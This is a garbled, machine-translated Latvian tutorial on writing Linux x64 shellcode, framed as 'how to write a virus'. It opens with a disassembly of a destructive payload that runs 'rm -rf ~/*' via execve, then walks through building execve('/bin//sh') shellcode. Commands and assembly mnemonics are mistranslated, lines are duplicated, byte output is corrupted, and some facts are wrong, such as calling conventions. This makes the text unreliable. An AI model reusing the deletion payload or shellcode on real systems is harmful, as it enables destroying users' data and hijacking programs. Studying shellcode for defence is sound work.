Hmmm... /bin/sh, sh -c rm -rf ~/* 2>/dev/null ... Neesiet pārāk optimistiski attiecībā uz kodu! Bet, lai pārliecinātos, izjauksim to, 21. saraksts.

Pirmais ir CALL priekšraksts, kam tūlīt seko rindiņa, kas izdrukā heksadecimālo izdruku. Apvalka koda sākumu var pārrakstīt šādā veidā, skatiet 22. sarakstu.

Saglabāsim operācijas kodus, sākot ar instrukciju 0x2a (42), 23. sarakstu:

Saraksts 23. Pārbaude, kuras funkcijas tiek izsauktas$ ./decode_exp.py | griezums -c 43- | ndisasm -u - 00000000 5D pop ebp ; Izgūt virknes adresi; "/bin/sh" 00000001 31C0 xor eax,eax ; Zero out EAX 00000003 50 push eax ; Nospiediet nulles rādītāju uz steku 00000004 8D5D0E lea ebx, ; Saglabājiet adresi; "rm -rf ~/* 2>/dev/null" EBX 00000007 53 push ebx ; un uzspiediet to uz kaudzes 00000008 8D5D0B lea ebx, ; Saglabājiet "-c" adresi EBX 0000000B 53 push ebx ; un uzspiediet to uz kaudzes 0000000C 8D5D08 lea ebx, ; Saglabājiet "sh" adresi EBX 0000000F 53 push ebx ; un uzspiediet to uz kaudzes 00000010 89EB mov ebx,ebp ; Saglabājiet "/bin/sh" adresi ; EBX (first arg to execve()) 00000012 89E1 mov ecx,esp ; Saglabājiet steka rādītāju uz ECX (ESP ; norāda uz "sh", "-c", "rm...") 00000014 31D2 xor edx,edx ; Trešais arg to execve() 00000016 B00B mov al,0xb ; Execve() syscall numurs 00000018 CD80 int 0x80 ; Izpildiet syscall 0000001A 89C3 mov ebx,eax; Saglabāt 0xb EBX (izejas kods=11) 0000001C 31C0 xor eax,eax ; No nulles EAX 0000001E 40 inc eax ; EAX=1 (izejas() syscall numurs) 0000001F CD80 int 0x80 ; Izpildiet syscall

No tā mēs varam skaidri redzēt, ka execve (2) tiek izsaukts ar argumentu masīvu sh, -c, rm -rf ~/* 2>/dev/null. Tāpēc nekad nav par ļaunu pārbaudīt savu kodu pirms tiešraides!

IoT ir pēdējā laika patiesā tendence. Tas gandrīz visur izmanto Linux kodolu. Tomēr šai platformai ir salīdzinoši maz rakstu par vīrusu rakstīšanu un čaulas kodēšanu. Vai jūs domājat, ka čaulas koda rakstīšana Linux ir paredzēta tikai elitei? Uzzināsim, kā uzrakstīt vīrusu Linux!

BĀZE VĪRUSA RAKSTĪŠANAI LINUX

Kas tev vajadzīgs darbam?

Lai apkopotu čaulas kodu, mums ir nepieciešams kompilators un linkeris. Mēs izmantosim nasm Un ld. Lai pārbaudītu čaulas kodu, mēs uzrakstīsim nelielu programmu C valodā. Lai to apkopotu, mums būs nepieciešams gcc. Dažām pārbaudēm jums būs nepieciešamas rasm2(daļa no sistēmas radars2). Mēs izmantosim Python, lai rakstītu palīgfunkcijas.

Kas jauns x64?

x64 ir IA-32 arhitektūras paplašinājums. Tās galvenā atšķirīgā iezīme ir atbalsts 64 bitu vispārējas nozīmes reģistriem, 64 bitu aritmētiskām un loģiskajām operācijām ar veseliem skaitļiem un 64 bitu virtuālajām adresēm.

Konkrētāk, tiek saglabāti visi 32 bitu vispārīgie reģistri un pievienotas to paplašinātās versijas ( rax, rbx, rcx, rdx, rsi, rdi, rbp, rsp) un vairāki jauni vispārējas nozīmes reģistri ( r8, r9, r10, r11, r12, r13, r14, r15).

Parādās jauna izsaukšanas metode (atšķirībā no x86 arhitektūras ir tikai viena). Saskaņā ar to, izsaucot funkciju, katrs reģistrs tiek izmantots īpašiem mērķiem, proti:

  • pirmie četri veselo skaitļu argumenti funkcijai tiek nodoti caur reģistriem rcx, rdx, r8 Un r9 un caur reģistriem xmm0 - xmm3 peldošā komata veidiem;
  • citi parametri tiek nodoti caur steku;
  • Parametriem, kas nodoti caur reģistriem, stekā joprojām ir rezervēta vieta;
  • funkcijas rezultāts tiek atgriezts caur reģistru rax veselu skaitļu tipiem vai caur xmm0 reģistru peldošā komata tipiem;
  • rbp satur rādītāju uz steka pamatni, tas ir, vietu (adresi), kur sākas steka;
  • rsp satur rādītāju uz kaudzes augšdaļu, tas ir, uz vietu (adresi), kur tiks ievietota jaunā vērtība;
  • rsi, rdi izmantots syscall.

Mazliet par steku: tā kā adreses tagad ir 64 bitu, steka vērtības var būt 8 baiti lielas.

Syscall. Kas? Kā? Par ko?

Syscall ir veids, kā lietotāja režīms mijiedarbojas ar kodolu operētājsistēmā Linux. To izmanto dažādiem uzdevumiem: I/O operācijām, failu rakstīšanai un lasīšanai, programmu atvēršanai un aizvēršanai, darbam ar atmiņu un tīklu veidošanu utt. Lai pabeigtu syscall, nepieciešams:

Ielādējiet atbilstošo funkcijas numuru rax reģistrā;
ielādēt ievades parametrus citos reģistros;
zvana pārtraukuma numurs 0x80(sākot no kodola versijas 2.6, tas tiek darīts, izmantojot zvanu syscall).

Atšķirībā no Windows, kur joprojām ir jāatrod vajadzīgās funkcijas adrese, šeit viss ir diezgan vienkāršs un kodolīgs.

Nepieciešamo syscall funkciju numurus var atrast, piemēram,

execve ()

Ja aplūkojam gatavus čaulas kodus, daudzi no tiem izmanto funkciju execve ().

execve () ir šāds prototips:

Viņa izsauc programmu FAILA NOSAUKUMS. Programma FAILA NOSAUKUMS var būt izpildāms binārs vai skripts, kas sākas ar rindiņu #! tulks.

argv ir rādītājs uz masīvu, patiesībā tas ir tas pats argv, ko mēs redzam, piemēram, C vai Python.

envp- rādītājs uz masīvu, kas apraksta vidi. Mūsu gadījumā tas netiek izmantots, tam būs nozīme null.

Pamatprasības čaulas kodam

Ir tāda lieta kā no pozīcijas neatkarīgs kods. Šis ir kods, kas tiks izpildīts neatkarīgi no tā, kur tas tiks ielādēts. Lai mūsu čaulas kods tiktu izpildīts jebkurā programmas vietā, tam ir jābūt neatkarīgam no pozīcijas.

Visbiežāk čaulas kods tiek ielādēts ar tādām funkcijām kā strcpy(). Līdzīgas funkcijas izmanto baitus 0x00, 0x0A, 0x0D kā norobežotāji (atkarībā no platformas un funkcijas). Tāpēc šādas vērtības labāk neizmantot. Pretējā gadījumā funkcija var pilnībā nenokopēt čaulas kodu. Apsveriet šādu piemēru:

$ rasm2 -a x86 -b 64 "push 0x00" 6a00

$rasm2 — a x86 — b 64 "push 0x00"

6:00

Kā redzat, kods nospiediet 0x00 kompilējas uz šādiem baitiem 6a 00. Ja mēs izmantotu šādu kodu, mūsu čaulas kods nedarbotos. Funkcija kopētu visu līdz baitam ar vērtību 0x00.

Šellkodā nevar izmantot “cietkodētas” adreses, jo mēs nezinām šīs pašas adreses iepriekš. Šī iemesla dēļ visas čaulas koda virknes tiek iegūtas dinamiski un saglabātas kaudzē.

Šķiet, ka tas arī viss.

TIKAI DARI TO!

Ja esat izlasījis tik tālu, jums jau vajadzētu būt attēlam par to, kā mūsu čaulas kods darbosies.

Pirmais solis ir sagatavot parametrus funkcijai execve() un pēc tam pareizi ievietot tos kaudzē. Funkcija izskatīsies šādi:

Otrais parametrs ir masīvs argv. Pirmais šī masīva elements satur ceļu uz izpildāmo failu.

Trešais parametrs apzīmē informāciju par vidi, mums tas nav vajadzīgs, tāpēc tam būs vērtība null.

Vispirms mēs iegūstam nulles baitu. Mēs nevaram izmantot tādu struktūru kā mov eax, 0x00, jo tā kodā ieviesīs nulles baitus, tāpēc izmantosim šādu instrukciju:

xor rdx, rdx

Atstāsim šo vērtību reģistrā rdx- tas būs vajadzīgs arī kā rindas beigu rakstzīme un trešā parametra vērtība (kas būs nulle).

Tā kā kaudze pieaug no augstas uz zemām adresēm, un funkcija execve () nolasīs ievades parametrus no zema līdz augstam (tas ir, kaudze strādā ar atmiņu apgrieztā secībā), tad stekā ievietosim apgrieztas vērtības.

Lai apgrieztu virkni un pārvērstu to par hex, Python varat izmantot šādu funkciju:


Sauksim šo funkciju par /bin/sh: >>> rev.rev_str(“/bin/sh”)

"68732f6e69622f"

Mēs saņēmām nulles baitu (otrais baits no beigām), kas pārtrauks mūsu čaulas kodu. Lai tas nenotiktu, izmantosim to, ka Linux ignorē secīgās slīpsvītras (tas ir, /bin/sh Un /bin//sh- Tas ir tas pats).

>>> rev.rev_str("/bin//sh") "68732f2f6e69622f"

Nav nulles baitu!

Pēc tam vietnē meklējam informāciju par funkciju execve(). Apskatām funkcijas numuru, kuru ievietojam rax - 59. Apskatām, kuri reģistri tiek izmantoti:
rdi- saglabā virknes adresi FAILA NOSAUKUMS;
rsi- saglabā virknes argv adresi;
rdx- saglabā envp virknes adresi.

Tagad saliksim visu kopā.
Mēs ievietojam skurstenī rindas beigu rakstzīmi (atcerieties, ka viss tiek darīts apgrieztā secībā):

xor rdx, rdx push rdx

xor rdx, rdx

nospiediet rdx

Uzlieciet auklu uz kaudzes /bin//sh: mov rax, 0x68732f2f6e69622f
stumj rax

Līnijas adreses iegūšana /bin//sh uz kaudzes un nekavējoties piespiediet to rdi: mov rdi, rsp

Rsi ir jānovieto rādītājs uz virkņu masīvu. Mūsu gadījumā šajā masīvā būs tikai ceļš uz izpildāmo failu, tāpēc pietiek tur ievietot adresi, kas attiecas uz atmiņu, kurā atrodas rindas adrese (C valodā rādītājs uz rādītāju). Mums jau ir līnijas adrese, tā ir rdi reģistrā. Argv masīvam jābeidzas ar nulles baitu, kas mums ir reģistrā rdx:

push rdx push rdi mov rsi, rsp

nospiediet rdx

push rdi

mov rsi, rsp

Tagad rsi norāda uz adresi stekā, kurā ir rādītājs uz virkni /bin//sh.

Mēs to ievietojām rax funkcijas numurs execve(): xor rax, rax
mov al, 0x3b

Rezultātā mēs saņēmām šādu failu:


Kompilējiet un izveidojiet saiti uz x64. Priekš šī:

$ nasm -f elf64 piemērs.asm $ ld -m elf_x86_64 -s -o piemērs piemērs.o

$ nasm - f elf64 piemērs .asm

$ ld - m elf_x86_64 - s - o piemērs piemērs .o

Tagad mēs varam izmantot objdump -d piemērs lai apskatītu iegūto failu.